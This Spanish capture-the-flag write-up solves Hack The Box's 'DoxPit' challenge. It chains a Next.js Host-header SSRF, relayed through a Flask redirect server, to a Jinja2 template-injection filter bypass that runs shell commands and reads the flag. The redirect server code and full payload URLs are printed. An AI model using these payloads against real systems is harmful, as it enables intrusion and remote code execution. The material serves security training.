HackTheBox – DoxPit (Challenge Web/Medium)

En este post estaremos resolviendo el challenge web llamado «DoxPit» de Hack The Box, calificado como Medium. Se trata de un challenge ya retirado.

Comenzamos el reto accediendo a la web bajo análisis en modo caja negra. Podemos observar que se trata de un blog cuya funcionalidad es muy limitada.

Lo primero que se debe hacer en cualquier web es navegar para tratar de capturar en Burp Suite la superficie de exposición. Si lo hacemos, veremos que la aplicación únicamente tiene accesible el «Hall of Fame» y, además, realiza una petición «POST» al intentar acceder a cualquier «paste» de los mostrados en la imagen anterior. Más allá de eso, no tenemos más superficie de exposición ya que cualquier otro recurso da error.

Aunque tenemos una superficie de exposición muy reducida, vemos que la aplicación en su petición «POST» hace uso y recibe cabeceras que parecen estar relacionadas con la tecnología NextJS. Dado que tenemos el código fuente de la aplicación, confirmamos que se está utilizando NextJS en su versión «14.1.0».

Haciendo una búsqueda de vulnerabilidades relativas a dicha tecnología, nos encontramos con este blog en el que explican que es vulnerable a Server-Side Request Forgery (SSRF): https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps. Tomamos el ejemplo que ellos utilizan para explotar la petición POST capturada a la hora de acceder a cualquier paste y confirmamos la vulnerabilidad:

Tal como vemos, se recibe una petición HEAD dado que, como se explica en el blog, la vulnerabilidad se produce cuando se define una «ServerAction» que hace una redirección. En nuestro caso, podemos observar dicha redirección en el fichero «serveractions.tsx»:

Ahondando en el blog y en el código vulnerable, se puede ver cómo al hacer esa redirección se utiliza la cabecera Host para construir la URL a la que consultar. Gracias a que esa cabecera la controlamos nosotros, logramos forzar una petición desde el servidor a destinos arbitrarios (SSRF). Sin embargo, por cómo está estructurado el código vulnerable que se llama al hacer la redirección mediante la «ServerAction», no es posible para nosotros controlar por completo el destino de la petición forzada.

En cualquier caso, vemos que lo que se produce en primer lugar es un HEAD del recurso «/error» desde el servidor atacado. Tal como explican también en el blog y, aunque es obvio, lo que haremos será construir un pequeño servicio web que, al recibir dicho HEAD, conteste con una redirección arbitraria. De este modo, convertimos un SSRF en el que no controlamos al 100% el destino de las peticiones forzadas en un SSRF donde sí podemos hacer esto. Para ello, utilizamos Flask y el siguiente código (créditos totales al autor del blog):

from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('https://example.com')

Como vemos, si el método es HEAD, lanzamos la redirección para cualquier path pedido (incluido «/error») a «https://example.com» como prueba inicial. Una vez tenemos este pequeño servicio, lo lanzamos con Flask en una máquina. En nuestro caso, usamos Grok para no tener que exponer puertos a nivel doméstico:

Ahora, lanzamos de nuevo la petición vulnerable a SSRF pero indicando en la cabecera Host el valor del servicio ngrok resaltado en la imagen anterior. Si todo va bien, debemos recibir la petición desde el servidor vulnerable en nuestro servicio ngrok que, a su vez la retransmitirá al pequeño servidor web en Flask y redirigirá finalmente al dominio «https://example.com».

¡¡Genial!! Ahora tenemos un Server-Side Request Forgery (SSRF) en su versión más «pura». Podemos realizar peticiones desde el servidor web vulnerable a cualquier destino. Normalmente, cuando se tiene SSRF se suele aprovechar para atacar otros servicios internos. En este caso, vamos a acudir a un análisis del código fuente dado por HackTheBox, dado que no tenemos mayor información y descubrir los siguientes pasos en modo caja negra es muy tedioso.

Echando un vistazo al código fuente proporcionado, vemos que existe una segunda aplicación bajo el directorio «av» que parece ser un analizador de archivos en busca de malware. Lo fundamental es que, como vemos en la siguiente ilustración, este servicio escucha en el puerto 3000 en la máquina vulnerable a SSRF.

Para poder acceder a esta aplicación, basta con adaptar el código fuente de nuestro pequeño servicio Flask y redireccionar al servidor vulnerable a SSRF a su propia dirección interna en el puerto 3000:

from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('http://127.0.0.1:3000')

Lanzamos de nuevo el ataque y observamos el resultado. De aquí en adelante, eso sí, no mostraremos más la interacción con el servicio Flask y ngrok, aunque obviamente se deben ir adaptando las URLs que iremos indicando en el script Flask y reiniciarlo en cada paso:

Como vemos, obtenemos acceso a la aplicación interna mediante la explotación de SSRF. Como siguiente paso, vamos a registrarnos. Haciendo un análisis del código fuente de la aplicación «av», se puede ver cómo el registro se hace a través de una llamada al endpoint «register» con parámetros «username» y «password», siendo la URL tal como sigue:

http://127.0.0.1:3000/register?username=foo&password=foo

Adaptamos de nuevo el código Flask para redirigir a la URL anterior y relanzamos el ataque:

Ahora que tenemos un usuario y un token, hacemos de nuevo un análisis del código fuente de la aplicación interna y vemos que en el fichero «routes.py» se define una ruta «/home» con el siguiente contenido:

@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
  directory = request.args.get("directory")
  
  if not directory:
    dirs = os.listdir(os.getcwd())
    return render_template("index.html", title="home", dirs=dirs)

  if any(char in directory for char in invalid_chars):
    return render_template("error.html", title="error", error="invalid directory"), 400

  try:
    with open("./application/templates/scan.html", "r") as file:
        template_content = file.read()
        results = scan_directory(directory)
        template_content = template_content.replace("{{ results.date }}", results["date"])
        template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
        return render_template_string(template_content, results=results)
        
  except Exception as e:
    return render_template("error.html", title="error", error=e), 500

En negrita, observamos que se requiere autenticación, pero proveniente del middleware. En ese mismo fichero «routes.py» podemos observar dicha autenticación del middleware:

def auth_middleware(func):
  def check_user(*args, **kwargs):
    db_session = Database()

    if not session.get("loggedin"):
      if request.args.get("token") and db_session.check_token(request.args.get("token")):
        return func(*args, **kwargs)
      else:
        return redirect("/login")

    return func(*args, **kwargs)

  check_user.__name__ = func.__name__
  return check_user

Como vemos, el middleware solamente comprueba si en la petición se incluye el token como parámetro. Dado que al crear el usuario anteriormente se nos devolvió un token, podemos acceder al recurso «/home» autenticando al usuario con dicho token mediante una URL como la siguiente:

http://127.0.0.1:3000/home?token=6f4854909bc22a668957147c06194e35

Adaptamos el código de nuestro servicio Flask y lanzamos de nuevo el SSRF para acceder a la URL anterior:

Estupendo, ahora vamos a analizar de nuevo con mayor profundidad el manejador del recurso «/home»:

@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
  directory = request.args.get("directory")
  
  if not directory:
    dirs = os.listdir(os.getcwd())
    return render_template("index.html", title="home", dirs=dirs)

  if any(char in directory for char in invalid_chars):
    return render_template("error.html", title="error", error="invalid directory"), 400

  try:
    with open("./application/templates/scan.html", "r") as file:
        template_content = file.read()
        results = scan_directory(directory)
        template_content = template_content.replace("{{ results.date }}", results["date"])
        template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
        return render_template_string(template_content, results=results)
        
  except Exception as e:
    return render_template("error.html", title="error", error=e), 500

La última línea remarcada en amarillo es vulnerable a Server-Side Template Injection (SSTI), con lo cual podríamos obtener ejecución remota de código. Eso sí, obviamente, todo esto siempre y cuando los resultados contenidos en la variable «results» sean controlables por el atacante y no estén saneados. Dado que la obtención de resultados depende de la variable «directory» y que esta, a su vez, recibe un saneamiento de datos en base a unos caracteres inválidos, debemos observarlos. Es decir, debemos obtener el valor de la variable «invalid_chars», que está definida en el archivo «general.py»:

invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

Como vemos, el saneamiento de los datos recibidos en la variable «directory» nos impide el uso de cadenas típicas de SSTI. Sin embargo, existen varios estudios en los que se indica cómo realizar explotación de SSTI sin acudir a patrones y caracteres típicos. Créditos totales y shoutout a este estupendo blog donde nos explican varias técnicas para Jinja2, plantillas utilizadas habitualmente en Flask: https://0day.work/jinja2-template-injection-filter-bypasses/.

Además, como siempre, HackTricks al rescate. El objetivo es ejecutar el siguiente código (https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.html#without-several-chars):

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}

Que, decodificado, sería:

{%with a=request.application.__globals__.__getitem__("__builtins__").__getitem__('__import__')('os').popen('ls${IFS}-l').read()%}{%print(a)%}{%endwith%}

Fíjate cómo se aplican conceptos explicados en el primer blog. Por ejemplo evitamos el uso de «.»:

os.popen('id') => os|attr('popen')('id')

De igual modo, no utilizamos «{{» ni «}}» sustituyendo por «{%» y «%}», además de evitar el uso de «[» y «]». Pero, claro, estamos utilizando el carácter «x». Por tanto, el filtro nos dará error para la siguiente URL:

http://127.0.0.1:3000/home?token=6f4854909bc22a668957147c06194e35&directory={%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr(\'\x5f\x5fgetitem\x5f\x5f\')(\'\x5f\x5fimport\x5f\x5f\')(\'os\')|attr(\'popen\')(\'ls${IFS}-l\')|attr(\'read\')()%}{%print(a)%}{%endwith%}

Para resolverlo, no obstante, podemos aplicar el mismo enfoque que hasta ahora y añadir un nuevo tweak. Este tweak es, simplemente, que usemos variables auxiliares que incluiremos en la URL y que no son saneadas. Por ejemplo:

"\x5f\x5fglobals\x5f\x5f" => request.args.get("globals") => request|attr("args")|attr("get")("globals")

Y, posteriormente, incluimos en la URL un parámetro llamado «globals» con valor «__globals__». Con este sencillo truco usamos strings que no deberían estar permitidos en nuestro gadget. Hacemos este cambio para todos los strings problemáticos y obtenemos el payload final:

{%with a=request|attr("application")|attr(request|attr("args")|attr("get")("globals"))|attr(request|attr("args")|attr("get")("getitem"))(request|attr("args")|attr("get")("builtins"))|attr(request|attr("args")|attr("get")("getitem"))(request|attr("args")|attr("get")("import"))("os")|attr("popen")("ls${IFS}-l")|attr("read")()%}{%print(a)%}{%endwith%}

Y, claro, añadimos los parámetros «globals», «getitem», «builtins» e «import» a la URL con sus valores deseados, construyendo así la URL final de redirección:

http://127.0.0.1:3000/home?token=6f4854909bc22a668957147c06194e35&directory={%with a=request|attr("application")|attr(request|attr("args")|attr("get")("globals"))|attr(request|attr("args")|attr("get")("getitem"))(request|attr("args")|attr("get")("builtins"))|attr(request|attr("args")|attr("get")("getitem"))(request|attr("args")|attr("get")("import"))("os")|attr("popen")("ls${IFS}-l")|attr("read")()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__

Lanzamos el exploit y… ¡¡Boom!! Tenemos RCE:

Para terminar, obtenemos el flag tras haber adaptado de nuevo la URL (ojo, cuidado que el nombre del flag también lleva «x» y, por tanto, debemos buscar maneras creativas de printearlo :))

http://127.0.0.1:3000/home?token=6f4854909bc22a668957147c06194e35&directory={%with a=request|attr("application")|attr(request|attr("args")|attr("get")("globals"))|attr(request|attr("args")|attr("get")("getitem"))(request|attr("args")|attr("get")("builtins"))|attr(request|attr("args")|attr("get")("getitem"))(request|attr("args")|attr("get")("import"))("os")|attr("popen")("cat${IFS}/flag*")|attr("read")()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__

~km0xu95

Comments are closed.